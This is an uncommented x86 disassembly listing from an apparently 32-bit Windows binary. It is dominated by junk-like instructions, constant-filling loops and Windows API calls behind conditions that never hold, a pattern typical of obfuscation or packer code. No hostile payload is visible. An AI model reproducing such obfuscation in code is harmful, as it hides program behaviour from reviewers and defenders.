mov eax, dword [ebp + eax*4 - 0x458]
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setg dl
xor ecx, ecx
cmp edx, eax
setg cl
cmp ecx, 2
jne 0x1002c027
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x1002c02d
mov eax, dword [ebp - 0xbb0]
push 4
pop edx
push 0xfffffffffffffff7
pop ecx
mov eax, dword [ebp - 0x1c]
push 0
mov eax, dword [ebp + eax*4 - 0x458]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x458]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
add eax, 0x37d08bb2
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x1c]
pop eax
jns 0x1002bf9f
push 2
pop ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jg 0x1002c0f1
xor ebx, ebx
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x28], ebx
jl 0x1002c0d1
mov dword [ebp - 0x38], ebx
jmp 0x1002c0bd
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], bl
je 0x1002c0ba
push ebx
push 0x16c5
push ebx
push ebx
push 0x28e
push 0x1423
push 0x33a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtTextOutA]
push 2
pop ecx
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ecx
jle 0x1002c084
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x458]
dec dword [ebp - 0x28]
jns 0x1002c07f
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], bl
je 0x1002c0e4
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
push 2
pop ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jle 0x1002c077
xor ebx, ebx
inc ebx
xor eax, eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x3c], 0x8748afa2
push 4
mov dword [ebp - 0x40], 0xfffffffd
mov dword [ebp - 0x14], eax
pop ecx
jmp 0x1002c121
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x78c], 0xfffffffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002c110
dec dword [ebp - 0x40]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x784]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x34], ebx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x784]
mov eax, dword [ebp - 0x784]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x784]
mov dword [ebp - 0x784], eax
xor eax, eax
mov dword [ebp - 0x18], 9
mov dword [ebp - 0x40], eax
push 2
mov dword [ebp - 0x14], eax
pop esi
cmp dword [ebp - 0x14], esi
jge 0x1002c188
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa4c], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002c170
xor eax, eax
mov dword [ebp - 0x18], 0x1c
cmp dword [ebp - 0x18], 0x14
jl 0x1002c231
jmp 0x1002c19d
xor eax, eax
mov dword [ebp - 0x38], 0xfffffffb
xor edx, edx
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x1c]
sub ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x38]
cmp ecx, eax
setl dl
xor ebx, ebx
add edx, dword [ebp - 0x18]
imul edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
imul ecx, edx, 0xffff
cmp ecx, eax
setl bl
xor edx, edx
imul ebx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
cmp eax, ecx
setg dl
cmp edx, ebx
jg 0x1002c1f5
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x40]
xor ebx, ebx
mov eax, dword [ebp - 0x38]
inc ebx
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x40]
mov edx, ebx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x40]
cmp edx, eax
setg cl
sub ecx, dword [ebp - 0x18]
mov dword [ebp - 0xa4c], ecx
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x14
jge 0x1002c19b
mov dword [ebp - 0x20], 0x9beb0647
mov eax, 0x515ed761
mov dword [ebp - 0x1c], 0x582f80c3
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x24], 6
mov dword [ebp - 0x910], eax
mov dword [ebp - 0x90c], eax
mov dword [ebp - 0x908], eax
mov dword [ebp - 0x904], eax
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x48], 0x22e3bd65
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
xor eax, eax
cmp dword [ebp - 0x20], eax
jne 0x1002c2a8
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x20]
jle 0x1002c295
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x20]
jne 0x1002c295
cmp dword [ebp - 0x20], eax
je 0x1002c297
mov eax, ebx
dec eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1002c2aa
mov eax, ebx
mov dword [ebp - 0x18], eax
or edx, 0xffffffff
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffe3
jge 0x1002c431
mov dword [ebp - 0x38], 0x7f4a1d2d
mov dword [ebp - 0x40], 0x6a8e7e64
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x34], 0xb8aaa841
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x14], eax
jmp 0x1002c2f3
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa58], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002c2e2
mov dword [ebp - 0x20], 0xd
jmp 0x1002c417
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x30], 0xcd4dcd78
mov dword [ebp - 0x3c], esi
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
xor eax, eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x24]
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
cmp ecx, 0x4969
setg al
cmp eax, 0x11ffbe62
jge 0x1002c343
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
dec eax
neg eax
sbb eax, eax
xor ecx, ecx
neg eax
add eax, 0x1a05132d
mov dword [ebp - 0x910], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0xa54], ebx
mov eax, dword [ebp - 0x24]
cmp eax, ebx
setg cl
xor eax, eax
mov dword [ebp - 0x34], ecx
cmp dword [ebp - 0x28], eax
je 0x1002c3ed
mov eax, dword [ebp - 0x28]
xor ecx, ecx
inc dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
imul eax, dword [ebp - 0x48], 0xffff000a
cmp eax, ebx
setge cl
xor eax, eax
cmp ecx, 0x1f9d
setge al
imul eax, eax, 0xc39f
sub eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x30]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x18], eax
jge 0x1002c3eb
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x1002c3eb
mov eax, ebx
jmp 0x1002c3ed
xor eax, eax
mov ecx, dword [ebp - 0x28]
add ecx, eax
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
cmp ecx, esi
setl al
cmp eax, 3
jae 0x1002c40f
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1002c411
mov eax, ebx
jmp 0x1002c411
xor eax, eax
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xe
jge 0x1002c304
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffe3
push 0
pop eax
jl 0x1002c2bf
mov dword [ebp - 0x2c], 0xfffffff6
mov dword [ebp - 0x24], 0xfffffffb
mov dword [ebp - 0x3c], 0x9f3690f1
mov dword [ebp - 0x3c], 0xa20bd035
push 3
mov dword [ebp - 0x3c], 0x4ce55459
pop ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1002c47a
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xe8c], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002c462
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1002c49a
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xa74], 0xa3dbc56e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002c482
xor eax, eax
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], eax
jl 0x1002c4e9
mov dword [ebp - 0x3c], 0xa888
mov dword [ebp - 0x3c], 0xfffffff9
mov dword [ebp - 0x3c], 0x7834d8a9
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x34], 0xa67d9261
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002c4e1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xb28], 0x52835357
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002c4c9
xor eax, eax
inc dword [ebp - 0x34]
dec dword [ebp - 0x24]
jns 0x1002c4a2
mov dword [ebp - 0x228], 0xfffffffb
mov dword [ebp - 0x224], 0xfffffffb
mov dword [ebp - 0x220], 0xfffffffb
mov dword [ebp - 0x21c], 0xfffffffb
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x1c], 0x3d4e
mov dword [ebp - 0x18], 0xfffffffa
mov dword [ebp - 0x24], 0x2d62
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x34], 0xd57d38c4
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x14], eax
jmp 0x1002c548
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x73c], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002c53b
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jge 0x1002c55b
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], ebx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xbec5ec62
sbb eax, eax
inc eax
mov dword [ebp - 0x38], eax
imul eax, dword [ebp - 0x18], 0x6f9a
test eax, eax
je 0x1002c5db
mov ecx, dword [ebp - 0x38]
xor edx, edx
mov eax, dword [ebp - 0x24]
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setle dl
xor ecx, ecx
cmp edx, eax
push 3
setne cl
xor edx, edx
mov dword [ebp - 0x38], ecx
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
pop ecx
setne dl
mov eax, ecx
sub eax, edx
mov dword [ebp - 0x18], eax
je 0x1002c5d0
xor eax, eax
mov dword [ebp - 0x73c], ebx
cmp dword [ebp - 0x38], eax
je 0x1002c5d8
mov eax, dword [ebp - 0x1c]
jmp 0x1002c5d8
xor eax, eax
mov dword [ebp - 0x73c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
push 4
pop eax
cmp dword [ebp - 0x1c], eax
jne 0x1002c5f0
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x1002c5f2
mov eax, ebx
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x34], 0xb969b42c
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x1002c61a
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x3b4], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002c606
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x1002c63a
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x8e8], 0xb9193c1d
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002c622
xor eax, eax
mov dword [ebp - 0x3b0], 0x12
cmp dword [ebp - 0x3b0], 0xd
jl 0x1002c6f9
jmp 0x1002c655
xor eax, eax
mov dword [ebp - 0x1c], 0xa986
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002c678
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x680], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002c664
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x1002c6d1
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x3b0]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3ac]
mov eax, dword [ebp - 0x8e8]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x8e8]
mov eax, dword [ebp - 0x8e8]
cmp ecx, eax
mov ecx, dword [ebp - 0x1c]
setge dl
xor eax, eax
sub edx, 0x4dde9ab5
cmp edx, ebx
setge al
inc ecx
add ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
imul ecx, dword [ebp - 0x1c]
test ecx, ecx
jne 0x1002c6d1
xor eax, eax
mov edx, eax
jmp 0x1002c6d3
mov edx, ebx
mov eax, dword [ebp - 0x680]
xor ecx, ecx
cmp edx, eax
setl cl
add ecx, 8
mov dword [ebp - 0x34], ecx
dec dword [ebp - 0x3b0]
cmp dword [ebp - 0x3b0], 0xd
jge 0x1002c653
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002c718
push eax
push 0x1cce
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetScrollInfo]
xor eax, eax
mov dword [ebp - 0x24], 0xfffffffb
mov dword [ebp - 0x3c], 0x9f3690f1
mov dword [ebp - 0x3c], 0xa20bd035
mov dword [ebp - 0x3c], 0x4ce55459
mov dword [ebp - 0x3c], 3
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1002c75b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf54], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002c743
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1002c77b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xa80], 0xa3dbc56e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002c763
xor eax, eax
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], eax
jl 0x1002c7ca
mov dword [ebp - 0x3c], 0xa888
mov dword [ebp - 0x3c], 0xfffffff9
mov dword [ebp - 0x3c], 0x7834d8a9
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x34], 0xa67d9261
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002c7c2
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xbfc], 0x52835357
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002c7aa
xor eax, eax
inc dword [ebp - 0x34]
dec dword [ebp - 0x24]
jns 0x1002c783
mov byte [ebp - 0x49], al
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x3c], 0x837bc752
mov dword [ebp - 0x34], 0x307b
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1002c801
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xa8c], 0xd976ff55
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002c7e9
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1002c821
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xb38], 0x79c4
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002c809
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002c83e
push 0x2184
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindow]
xor eax, eax
dec dword [ebp - 0x34]
cmp byte [ebp - 0x49], 0
je 0x1002c926
mov dword [ebp - 0x1c], 0x17571177
mov dword [ebp - 0x34], 0xba31e468
mov dword [ebp - 0x1c], eax
jmp 0x1002c90d
mov dword [ebp - 0x28], 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1002c88a
cmp dword [ebp - 0x1c], 0xffffffe2
jg 0x1002c861
push 0xf12
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
xor eax, eax
xor edi, edi
mov dword [ebp - 0x24], eax
inc edi
mov dword [ebp - 0x3c], 0x4f84b811
mov dword [ebp - 0x3c], 0xa39ed080
mov dword [ebp - 0x24], 0x1a
cmp dword [ebp - 0x24], 0xffffffef
jl 0x1002c974
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1002c969
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x340], 0xffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002c951
inc dword [ebp - 0x340]
dec dword [ebp - 0x24]
jmp 0x1002c943
mov esi, dword [sym.imp.USER32.dll_RegisterClassA]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x1d
jle 0x1002d8eb
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x3c], 0xb5ca9869
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x3c], eax
push 2
mov dword [ebp - 0x20], eax
pop ebx
cmp dword [ebp - 0x20], ebx
jge 0x1002c9ba
mov dword [ebp - 0x28], 0x47a6deec
mov dword [ebp - 0x30], 0x28abf8b2
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1002d91b